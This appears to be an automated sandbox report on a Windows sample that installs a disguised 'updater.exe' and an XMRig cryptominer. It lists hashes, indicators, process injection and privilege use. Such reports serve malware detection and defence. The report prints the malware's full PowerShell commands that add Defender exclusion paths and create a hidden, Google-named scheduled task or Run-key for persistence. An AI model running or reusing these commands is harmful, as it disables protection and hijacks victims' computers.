Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
394s -
max time network
1792s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
3JynzWc6LxNCT2y8.exeupdater.execonhost.exedescription pid process target process PID 2172 created 1264 2172 3JynzWc6LxNCT2y8.exe Explorer.EXE PID 2172 created 1264 2172 3JynzWc6LxNCT2y8.exe Explorer.EXE PID 2172 created 1264 2172 3JynzWc6LxNCT2y8.exe Explorer.EXE PID 2172 created 1264 2172 3JynzWc6LxNCT2y8.exe Explorer.EXE PID 2904 created 1264 2904 updater.exe Explorer.EXE PID 2904 created 1264 2904 updater.exe Explorer.EXE PID 2904 created 1264 2904 updater.exe Explorer.EXE PID 2904 created 1264 2904 updater.exe Explorer.EXE PID 1668 created 1264 1668 conhost.exe Explorer.EXE PID 2904 created 1264 2904 updater.exe Explorer.EXE -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral1/memory/1712-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-143-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1712-145-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2572 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2904 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2820 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/1712-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-143-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1712-145-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2904 set thread context of 1668 2904 updater.exe conhost.exe PID 2904 set thread context of 1712 2904 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
3JynzWc6LxNCT2y8.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe 3JynzWc6LxNCT2y8.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1172 schtasks.exe 1864 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40da986ce050da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
3JynzWc6LxNCT2y8.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2172 3JynzWc6LxNCT2y8.exe 2172 3JynzWc6LxNCT2y8.exe 2112 powershell.exe 2172 3JynzWc6LxNCT2y8.exe 2172 3JynzWc6LxNCT2y8.exe 2936 powershell.exe 2172 3JynzWc6LxNCT2y8.exe 2172 3JynzWc6LxNCT2y8.exe 2172 3JynzWc6LxNCT2y8.exe 2172 3JynzWc6LxNCT2y8.exe 2504 powershell.exe 2904 updater.exe 2904 updater.exe 1904 powershell.exe 2904 updater.exe 2904 updater.exe 1168 powershell.exe 2904 updater.exe 2904 updater.exe 2904 updater.exe 2904 updater.exe 1668 conhost.exe 1668 conhost.exe 2904 updater.exe 2904 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 468 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2112 powershell.exe Token: SeDebugPrivilege 2936 powershell.exe Token: SeDebugPrivilege 2504 powershell.exe Token: SeDebugPrivilege 1904 powershell.exe Token: SeDebugPrivilege 1168 powershell.exe Token: SeDebugPrivilege 2904 updater.exe Token: SeAssignPrimaryTokenPrivilege 564 WMIC.exe Token: SeIncreaseQuotaPrivilege 564 WMIC.exe Token: SeSecurityPrivilege 564 WMIC.exe Token: SeTakeOwnershipPrivilege 564 WMIC.exe Token: SeLoadDriverPrivilege 564 WMIC.exe Token: SeSystemtimePrivilege 564 WMIC.exe Token: SeBackupPrivilege 564 WMIC.exe Token: SeRestorePrivilege 564 WMIC.exe Token: SeShutdownPrivilege 564 WMIC.exe Token: SeSystemEnvironmentPrivilege 564 WMIC.exe Token: SeUndockPrivilege 564 WMIC.exe Token: SeManageVolumePrivilege 564 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 564 WMIC.exe Token: SeIncreaseQuotaPrivilege 564 WMIC.exe Token: SeSecurityPrivilege 564 WMIC.exe Token: SeTakeOwnershipPrivilege 564 WMIC.exe Token: SeLoadDriverPrivilege 564 WMIC.exe Token: SeSystemtimePrivilege 564 WMIC.exe Token: SeBackupPrivilege 564 WMIC.exe Token: SeRestorePrivilege 564 WMIC.exe Token: SeShutdownPrivilege 564 WMIC.exe Token: SeSystemEnvironmentPrivilege 564 WMIC.exe Token: SeUndockPrivilege 564 WMIC.exe Token: SeManageVolumePrivilege 564 WMIC.exe Token: SeLockMemoryPrivilege 1712 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2936 wrote to memory of 1172 2936 powershell.exe schtasks.exe PID 2936 wrote to memory of 1172 2936 powershell.exe schtasks.exe PID 2936 wrote to memory of 1172 2936 powershell.exe schtasks.exe PID 2572 wrote to memory of 2652 2572 cmd.exe choice.exe PID 2572 wrote to memory of 2652 2572 cmd.exe choice.exe PID 2572 wrote to memory of 2652 2572 cmd.exe choice.exe PID 2504 wrote to memory of 764 2504 powershell.exe schtasks.exe PID 2504 wrote to memory of 764 2504 powershell.exe schtasks.exe PID 2504 wrote to memory of 764 2504 powershell.exe schtasks.exe PID 2820 wrote to memory of 2904 2820 taskeng.exe updater.exe PID 2820 wrote to memory of 2904 2820 taskeng.exe updater.exe PID 2820 wrote to memory of 2904 2820 taskeng.exe updater.exe PID 1168 wrote to memory of 1864 1168 powershell.exe schtasks.exe PID 1168 wrote to memory of 1864 1168 powershell.exe schtasks.exe PID 1168 wrote to memory of 1864 1168 powershell.exe schtasks.exe PID 2904 wrote to memory of 1668 2904 updater.exe conhost.exe PID 1328 wrote to memory of 564 1328 cmd.exe WMIC.exe PID 1328 wrote to memory of 564 1328 cmd.exe WMIC.exe PID 1328 wrote to memory of 564 1328 cmd.exe WMIC.exe PID 2904 wrote to memory of 1712 2904 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {65A0FD18-AD1F-4CDE-8F30-CAADBDD4573E} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PHUGZP7I6N3HFJQP0J50.tempFilesize
7KB
MD5a049951bacfd23f556c5b48ceffd65fe
SHA12c7a990898a8f05d0df72303f59d5d2f9f0448b0
SHA256a5d5a17ab7132ebf60f7e86895aa3a7bb101ba73a132b5678f35cd4d212bfa09
SHA512a71dd499e7d39f6d10aad3fc12f4a08e70dbe5dc30ae2a025080fda7d82f00f74765a4722fd01fd2fac09af685d3192bdfdf7768f0131ef905a48bef80a1d057
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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memory/1168-58-0x0000000000FC0000-0x0000000001040000-memory.dmpFilesize
512KB
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memory/1168-57-0x0000000000FC0000-0x0000000001040000-memory.dmpFilesize
512KB
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memory/1168-59-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmpFilesize
9.6MB
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memory/1168-56-0x0000000000FC0000-0x0000000001040000-memory.dmpFilesize
512KB
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memory/1168-55-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmpFilesize
9.6MB
-
memory/1168-54-0x0000000000FC0000-0x0000000001040000-memory.dmpFilesize
512KB
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memory/1168-53-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmpFilesize
9.6MB
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memory/1668-71-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1668-75-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1712-86-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
